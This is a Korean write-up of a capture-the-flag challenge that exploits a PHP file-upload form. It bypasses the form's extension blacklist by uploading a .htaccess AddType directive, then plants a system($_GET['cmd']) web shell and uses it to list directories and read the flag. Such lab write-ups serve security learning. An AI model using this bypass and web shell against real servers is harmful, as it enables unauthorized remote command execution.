[LEVEL-1] Apache htaccess
Description
파일 업로드 기능을 악용하여 서버의 권한을 획득하세요 !
아파치 웹서버를 이용하는 파일 업로드 사이트에 특정한 조건의 파일을 업로드 하거나 웹 서버 디렉터리를 탐색해서 해결하는 문제같다.
이렇게 생긴 사이트가 나오고 ‘Choose a file’을 누르면 컴퓨터에 있는 파일을 고를 수 있는 창이 뜨고 그 파일을 ‘submit’버튼으로 업로드 하는 것 같다.
<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");
if (isset($_FILES)) {
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
$temp = explode(".", $name);
$extension = end($temp);
if(in_array($extension, $deniedExts)){
die($extension . " extension file is not allowed to upload ! ");
}else{
move_uploaded_file($tmp_name, "upload/" . $name);
echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
}
}
}else {
echo "File is not selected";
}
?>
‘upload.php’의 내용으로 웹사이트 파일 업로드 기능에 대한 코드이다.
` $deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml"); ` 이 코드는 php~php5, pht, phtml 의 확장자를 필터링 하는 기능을 하는 코드이다.
그렇다면 문제 해결을 위해선 위의 필터링 되는 확장자를 어떠한 방법을 통해 업로드하여 실행시키는 것이 관건 처럼 보인다.
방법을 찾아보던 와중 ‘.htaccess’파일을 업로드하면 다른 확장자로 php코드로 웹 쉘을 실행 시킬 수 있다고 한다.
- ` AddType application/x-httpd-php 사용할 확장자 ` 이 코드를 포함한 .htaccess 파일을 만들어서 먼저 업로드 시켜놓으면 php코드가 포함된 ` 사용할 확장자 ` 인 파일을 통해 php코드를 실행 시켜 웹 쉘을 실행 시키는 방법이 있다고 한다.
위 파일에 ` AddType application/x-httpd-php .test ` 라고 적고 저장했다.
그런다음 위 파일을 선택해주고 submit을 해준다.
그럼 파일이 저장된 디렉터리 위치가 출력되는 것을 보니 제대로 업로드가 된 것 같다.
그렇다면 이제 웹 쉘을 실행시킬 익스플로잇 코드가 포함된 .test 확장자 파일을 만들어서 업로드 하면 된다.
위 파일에
<?php
system($_GET['cmd']);
?>
위처럼 웹 쉘을 실행시키는 php코드를 포함한 .test 확장자 파일을 만들었다.
그리고 똑같이 파일을 선택해서 submit 해주면 이렇게 저장된 디렉터리 위치가 똑같이 출력이 되는 모습이다.
그렇다면 이제 ATTACK.test 파일에는 웹 쉘을 실행시키는 php코드가 있으므로, 저 경로에 들어가 url창에 ‘.php?cmd=명령어’ 이런식으로 cmd 명령어를 실행시킬 수 있을 것이다.
과정을 간단하게 정리하자면..
- php파일 확장자를 사용하지 못하므로 확장자를 다른 확장자로 우회하는 코드가 담긴 .htaccess 확장자 파일을 먼저 웹 서버에 업로드 한다.
- 위 .htaccess 파일이 업로드 된 웹 서버는 웹 쉘 익스플로잇 php코드가 담긴 파일을 미리 설정한 우회 확장자인 .test로 파일을 만들어 업로드한다.
- .htaccess 파일로 확장자 우회를 했기 때문에, .test확장자 파일에 담긴 php코드는 성공적으로 웹 서버에 업로드되고, 웹 서버에 웹 쉘을 실행하게 됨
라고 할 수 있다.
위 설명대로 url창에 ` ls ` 명령어를 실행시킨 모습이다.
위 디렉터리는 ‘upload디렉터리’에서 ` ls ` 명령어를 실행시킨 모습이다.
그럼 이제 cmd 창에서 디렉터리를 옮겨다니듯이 `ls ../ 이런식으로 flag 파일을 찾으면 된다.
` ls ../../../../ ` 에서 flag파일을 찾은 모습이고, flag파일을 실행시켰더니 플래그가 출력된 것을 볼 수 있다.
해결~!~!~~#~@!~!@